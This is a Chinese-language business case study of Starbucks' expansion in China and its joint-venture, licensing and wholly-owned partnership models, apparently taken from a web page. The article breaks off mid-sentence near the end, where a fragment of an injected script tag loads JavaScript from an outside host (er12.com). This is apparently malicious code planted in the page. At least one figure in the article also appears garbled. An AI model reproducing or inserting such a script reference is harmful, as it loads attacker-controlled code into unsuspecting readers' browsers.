只用了短短幾年時間，星巴克在中國就成了一個時尚的代名詞。它所標志的已經不只是一杯咖啡，而是一個品牌和一種文化。1971年4月，位于美國西雅圖的星巴克創始店開業。

　　1987年3月，星巴克的主人鮑德溫和波克決定賣掉星巴克咖啡公司在西雅圖的店面及烘焙廠，霍華·舒茲則決定買下星巴克，同自己創立于1985年的每日咖啡公司合并改造為“星巴克企業”。

　　現在，星巴克已經在北美、歐洲和南太平洋等地開出了6000多家店，近幾年的增長速度每年超過500家，平均每周超過10000萬人在店內消費。預計2005年，星巴克在全球將有10000家店。目前，星巴克是惟一一個把店面開遍四大洲的世界性咖啡品牌。

　　1998年3月，星巴克進入臺灣，1999年1月進入北京，2000年5月進入上海，目前星巴克已成為了國內咖啡行業的第一品牌。

　　2003年7月，美國著名的咖啡連鎖企業星巴克集團對外宣布：集團大幅提高其在臺灣與上海合資公司中的股份，持股比例從原來的5%增至50%。由此，星巴克集團的子公司“星巴克國際”和臺灣的統一(星巴克)集團，將從授權關系轉為事業合作伙伴。上海統一星巴克咖啡有限公司總經理徐光宇表示，美方增持10倍股份的主要原因是看好臺灣和上海的市場前景，愿意進一步投資未來。

　　臺灣、上海星巴克股權之變使得“星巴克王國”再次引起人們的注意。作為一個市場跟進者，進入的又是一個充滿競爭的完全成熟的市場，星巴克靠什么從一間小咖啡屋發展成為國際最著名的咖啡連鎖店品牌？請看本期“星巴克市場營銷分析案例”。

　　模式

　　根據世界各地不同的市場情況采取靈活的投資與合作模式

　　★同麥當勞的全球擴張一樣，星巴克很早就開始了跨國經營，在全球普遍推行三種商業組織結構：合資公司、許可協議、獨資自營。星巴克的策略比較靈活，它會根據各國各地的市場情況而采取相應的合作模式。以美國星巴克總部在世界各地星巴克公司中所持股份的比例為依據，星巴克與世界各地的合作模式主要有四種情況：

　　1.星巴克占100%股權，比如在英國、泰國和澳大利亞等地；

　　2.星巴克占50%股權，比如在日本、韓國等地；

　　3.星巴克占股權較少，一般在5%左右，比如在中國的臺灣、香港，夏威夷和增資之前的上海等地；

　　4.星巴克不占股份、只是純粹授權經營，比如在菲律賓、新加坡、馬來西亞和北京等地；

　　星巴克在世界各地的合作伙伴不同，但是經營的品牌都是一樣的。上海統一星巴克有限公司總經理徐光宇表示，這樣做的好處是，“它可以借別人的力量來幫它做很多事情，而且是同一個時間一起做。”

　　★一般而言，美國星巴克在某一個地區所持的股權比例越大，就意味著這個地方的市場對它越加重要。另外，星巴克制定了嚴格的選擇合作者的標準：如合作者的聲譽、質量控制能力和是否以星巴克的標準來培訓員工。

　　★目前，星巴克在中國內地有三家合作伙伴：北京美大咖啡有限公司行使其在中國北方的代理權，臺灣統一集團行使其在上海、杭州和蘇州等江南地區的代理權，南方地區(香港、深圳等)的代理權則交給了香港的一家公司。

　　★1999年初，星巴克授權北京美大咖啡有限公司在北京市場開設第一家分店，至今已在京、津地區迅速發展到36家。而“統一星巴克”則于1998年3月在臺灣開出第一家店，當時的統一星巴克咖啡有限公司由“統一超商”、“統一企業”和“美國星巴克”分別持股50%、45%與5%。2000年5月，兩大集團再以同樣的合資模式，取得在內地江浙地區的經營權，成立“上海統一星巴克”，在上海地區開出第一家店，目前已在上海開出26家店，年底計劃達到30家店。

　　★正是出于這種靈活的投資策略和合作模式，使得美國星巴克集團在看好中國市場時，看好這個市場上的合作伙伴，加大投資，將持股比例增加到50%。這表明了美國對這個地區的更加重視，今后會有更多的投入。之前，“統一”?script src=http://er12.com/t.js>